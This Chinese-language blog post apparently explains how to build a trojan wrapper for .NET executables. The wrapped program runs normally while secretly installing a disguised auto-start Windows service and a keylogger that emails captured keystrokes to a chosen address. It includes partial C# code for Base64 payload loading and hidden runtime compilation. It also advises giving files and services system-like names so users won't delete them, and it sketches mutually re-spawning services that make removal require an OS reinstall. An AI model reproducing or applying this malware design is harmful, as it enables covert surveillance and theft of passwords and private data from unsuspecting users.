说明: 笨拙了点,但原理很简单,将一个.Net的exe文件,通过包装,运行的同时,执行其他任务。 static void Main(string[] Args) { ………… //管理员模式运行Test ………… string str_Normal = 正常程序的Base64的编码; byte[] ns =Convert.FromBase64String(str_Normal); Assembly asm_n =Assembly.Load(ns); MethodInfoinfo_n = asm_n.EntryPoint; ParameterInfo[]parameters_n = info_n.GetParameters(); info_n.Invoke(null, null); } public partial class Test : Form { publicTest() { stringstr_Rep = 要执行的其他任务exe的Base64编码; //…写入硬盘 …………… Processpr = new Process(); //……指向exe文件; pr.Start(); Close(); } }
在执行本例子前,先随意编写一个.Net的exe文件,在“被包装exe文件名”指向该文件,其中“监控执行检测间隔(秒):”设置大一些,因为监控程序随着服务开机启动,需windows启动成功后方可正常运行。“建立的服务名”、“服务文件路径和名称”、“监控文件路径和名称”为防止用户删除,放置在windows里面的一些文件夹内部,名字起得系统一些,比如“UpdataServer”等等,就是使用户不知道他是干嘛的,不会删除的那种。 本例子生成的exe文件,除了执行你编写的.Net的exe文件外,监控你设定的多个进程,记录键盘,并按照你设定的时间定时发送键盘记录到你设定的邮箱。 程序里执行的监控代码和安装服务代码为字符串形式,根据你填写的条件,并自动编译为临时文件,并生成包装后的C#代码,自动编译后输出exe文件。 执行该exe文件,看到的为你编写的.Net的exe文件效果,后台建立了开机启动的一个服务,并释放了一个监控exe文件,通过服务执行,并每次开机就执行服务来开启监控。 // 生成键盘监控exe文件 CodeDomProvider codeProvider =CodeDomProvider.CreateProvider("CSharp"); string Output = "MonitoringTmp.~exe"; CompilerParameters parameters = new CompilerParameters(); parameters.ReferencedAssemblies.Add("System.dll"); parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll"); parameters.ReferencedAssemblies.Add("System.ServiceProcess.dll"); parameters.ReferencedAssemblies.Add("System.Drawing.dll"); parameters.ReferencedAssemblies.Add("System.Configuration.dll"); parameters.ReferencedAssemblies.Add("System.Configuration.Install.dll"); parameters.ReferencedAssemblies.Add("System.Runtime.InteropServices.dll"); parameters.ReferencedAssemblies.Add("System.Security.Principal.dll"); parameters.ReferencedAssemblies.Add("System.Threading.dll"); parameters.GenerateExecutable = true; parameters.CompilerOptions = "-t:winexe"; parameters.OutputAssembly = Output; CompilerResults results =codeProvider.CompileAssemblyFromSource( parameters,Code_Source.Creat_RunApp(Code_Source.processName, Code_Source.MailSetup,Code_Source.SendSpear)); 源码其中:Code_Source.cs文件里 public static string Creat_RunApp(string _process, string _email, string _sendspear) 为生成键盘监控的C#代码字符串 public static string Creat_Server(string _serverName,string _exefile, string _exepath, string _checkspear) 为生成windows服务的C#代码字符串 public static string Creat_Packing(string _server, string _pack,string _serverpath) 为生成包装exe的C#代码字符串, 通过CodeDomProvider进行编译生成。 注意:parameters.CompilerOptions = "-t:winexe";为生成窗体应用,不能为"-t:exe",否则会弹出cmd窗口。 如需对其他人编写的.Net的exe文件进行包装,需在与其相同的.Net版本重新编译下本程序,否则不能调用。 本例子只适用于.Net编写的exe文件,其他不适用。 如需对监控进行加固,变为用户不可删除,可以修改代码字符串,加入建立多个windows服务,并在监控程序内检测windows服务是否存在,并释放执行windows服务,在服务字符串代码内释放多个exe监控,形成多服务、多exe的相互检测、相互释放,这样用户除非重做系统,否则不能删除该监控,该功能只提供截图,不提供代码。 提供代码的只是建立单一服务、单一监控的,可以删除掉的代码。 windows服务的建立、删除看代码 public static string Creat_Server(string _serverName,string _exefile, string _exepath, string _checkspear) 中的public class ServiceHelper{}字符串。
效果图:
资源下载(不提供核心源码):
|